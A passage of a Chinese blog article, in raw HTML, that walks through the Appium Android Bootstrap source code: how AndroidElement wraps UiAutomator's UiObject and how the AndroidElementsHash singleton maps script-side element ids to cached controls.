margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　大家都知道UiObject其实就是UiAutomator里面代表一个控件的类，通过它就能够对控件进行操作（当然最终还是通过UiAutomation框架). AnroidElement就是通过它来跟UiAutomator发生关系的。我们可以看到下面的AndroidElement的点击click方法其实就是很干脆的调用了UiObject的click方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public boolean click() throws UiObjectNotFoundException {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　return el.click();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　当然这里除了click还有很多控件相关的操作，比如dragTo,getText,longClick等，但无一例外，都是通过UiObject来实现的，这里就不一一列举了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　2. 脚本的WebElement和Bootstrap的AndroidElement的映射关系</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们在脚本上对控件的认识就是一个WebElement:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　WebElement addNote = &nbsp;driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射到一起的呢？我们其实可以先看如下的代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　addNote.getText();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　addNote.click();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　做的事情就是获得Notes这个app的菜单，然后调用控件的getText来获得&#8216;Add note'控件的文本信息，以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412101634581t3vs.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　pc端传过来的json字串有几个fields：</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　cmd:代表这个是什么命令类型，其实就是AndroidCommandType的那两个值</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　package io.appium.android.bootstrap;</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　/**</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　* Enumeration for all the command types.</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　*</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　*/</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　public enum AndroidCommandType {</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　ACTION, SHUTDOWN</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　}</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　action: 具体命令</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　params: 提供的参数，这里提供了一个elementId的键值对</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　从上面的两条调试信息看来，其实没有明显的看到究竟使用的是哪个控件。其实这里不起眼的elementId就是确定用的是哪个控件的，注意这个elementId并不是一个控件在界面上的资源id，它其实是Bootstrap维护的一个保存所有已经获取过的控件的哈希表的键值。如上一小节看到的，每一个AndroidElement都有两个重要的成员变量：</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　UiObject el ：uiautomator框架中代表了一个真实的窗口控件</a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Sting id : &nbsp;一个唯一的自动增加的字串类型整数，pc端就是通过它来在AndroidElementHash这个类中找到想要的控件的</a></div></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　<strong style="word-break: break-all; line-height: normal !important;">　3. AndroidElement控件哈希表</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射起来的，那么我们这一节就来看下维护AndroidElement的这个哈希表是怎么实现的。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　首先，它拥有两个成员变量：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　private final Hashtable&lt;String, AndroidElement&gt; elements;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　private &nbsp; &nbsp; &nbsp; Integer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; counter;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　elements ：一个以AndroidElement 的id的字串类型为key，以AndroidElement的实例为value的的哈希表</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　counter : 一个整型变量，有两个作用：其一是它代表了当前已经用到的控件的数目（其实也不完全是，你在脚本中对同一个控件调用两次findElement其实会产生两个不同id的AndroidElement控件），其二是它代表了一个新用到的控件的id，而这个id就是上面的elements哈希表的键</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　这个哈希表的键值都是从0开始的，请看它的构造函数：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　/**</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　* Constructor</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　*/</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　public AndroidElementsHash() {</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　counter = 0;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　elements = new Hashtable&lt;String, AndroidElement&gt;();</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　}</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　而它在整个Bootstrap中是有且只有一个实例的，且看它的单例模式实现：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　public static AndroidElementsHash getInstance() {</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　if (AndroidElementsHash.instance == null) {</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　AndroidElementsHash.instance = new AndroidElementsHash();</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　}</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　return AndroidElementsHash.instance;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　}</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　以下增加一个控件的方法addElement充分描述了为什么说counter是一个自增加的key，且是每个新发现的AndroidElement控件的id：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　public AndroidElement addElement(final UiObject element) {</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　counter++;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　final String key = counter.toString();</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　final AndroidElement el = new AndroidElement(key, element);</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　elements.put(key, el);</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　return el;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　}</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　<strong style="word-break: break-all; line-height: normal !important;">　从Appium发过来的控件查找命令大方向上分两类：</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　1. 直接基于Appium Driver来查找，这种情况下appium发过来的json命令是不包含控件哈希表的键值信息的</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　WebElement addNote = driver.findElement(By.name("Add note"));</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　2. 基于父控件查找：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　以上的脚本会先尝试找到Note1这个日记的父控件ListView,并把这个控件保存到控件哈希表，然后再根据父控件的哈希表键值以及子控件的选择子找到想要的Note1:</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#45a2fc"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412101634582ckEu.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">AndroidElementHash的这个getElement命令要做的事情就是针对这两点来根据不同情况获得目标控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Return an elements child given the key (context id), or uses the selector</div><div style="word-break: break-all; margin: 10px 0px;">* to get the element.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @param sel</div><div style="word-break: break-all; margin: 10px 0px;">* @param key</div><div style="word-break: break-all; margin: 10px 0px;">* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Element id.</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidElement}</div><div style="word-break: break-all; margin: 10px 0px;">* @throws ElementNotFoundException</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidElement getElement(final UiSelector sel, final String key)</div><div style="word-break: break-all; margin: 10px 0px;">throws ElementNotFoundException {</div><div style="word-break: break-all; margin: 10px 0px;">AndroidElement baseEl;</div><div style="word-break: break-all; margin: 10px 0px;">baseEl = elements.get(key);</div><div style="word-break: break-all; margin: 10px 0px;">UiObject el;</div><div style="word-break: break-all; margin: 10px 0px;">if (baseEl == null) {</div><div style="word-break: break-all; margin: 10px 0px;">el = new UiObject(sel);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">el = baseEl.getChild(sel);</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">throw new ElementNotFoundException();</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">if (el.exists()) {</div><div style="word-break: break-all; margin: 10px 0px;">return addElement(el);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">throw new ElementNotFoundException();</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果是第1种情况就直接通过选择子构建UiObject对象，然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件，再通过子控件的选择子在父控件的基础上查找到目标UiObject控件，最后跟上面一样把该控件通过上面的addElement把UiObject控件转换成AndroidElement控件对象保存到控件哈希表</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　4. 求证</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上面有提过，如果pc端的脚本执行对同一个控件的两次findElement会创建两个不同id的AndroidElement并存放到控件哈希表中，那么为什么appium的团队没有做一个增强，增加一个keyMap的方法（算法）和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个AndroidElement控件呢？毕竟这才是哈希表实用的特性之一了，不然你直接用一个Dictionary不就完事了？网上说了几点hashtable和dictionary的差别，如多线程环境最好使用哈希表而非字典等，但在bootstrap这个控件哈希表的情况下我不是很信服这些说法，有谁清楚的还劳烦指点一二了</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这里至于为什么appium不去提供额外的key信息并且实现keyMap算法，我个人倒是认为有如下原因：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　有谁这么无聊在同一个测试方法中对同一个控件查找两次？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果同一个控件运用不同的选择子查找两次的话，因为最终底层的UiObject的成员变量UiSelector mSelector不一样，所以确实可以认为是不同的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　但以下两个如果用同样的UiSelector选择子来查找控件的情况我就解析不了了，毕竟在我看来bootstrap这边应该把它们看成是同一个对象的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　同一个脚本不同的方法中分别对同一控件用同样的UiSelelctor选择子进行查找呢？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　不同脚本中呢？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这些也许在今后深入了解中得到解决，但看家如果知道的，还望不吝赐教</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">5. 小结</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　最后我们对bootstrap的控件相关知识点做一个总结</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidElement的一个实例代表了一个bootstrap的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidElement控件的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控件，通过它就可以直接透过uiautomator框架对控件进行实质性操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　pc端的WebElement元素和Bootstrap的AndroidElement控件是通过AndroidElement控件的String id进行映射关联的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidElementHash类维护了一个以AndroidElement的id为键值，以AndroidElement的实例为value的全局唯一哈希表，pc端想要获得一个控件的时候会先从这个哈希表查找，如果没有了再创建新的AndroidElement控件并加入到该哈希表中，所以该哈希表中维护的是一个当前已经使用过的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">相关文章：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap源码分析之简介</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: 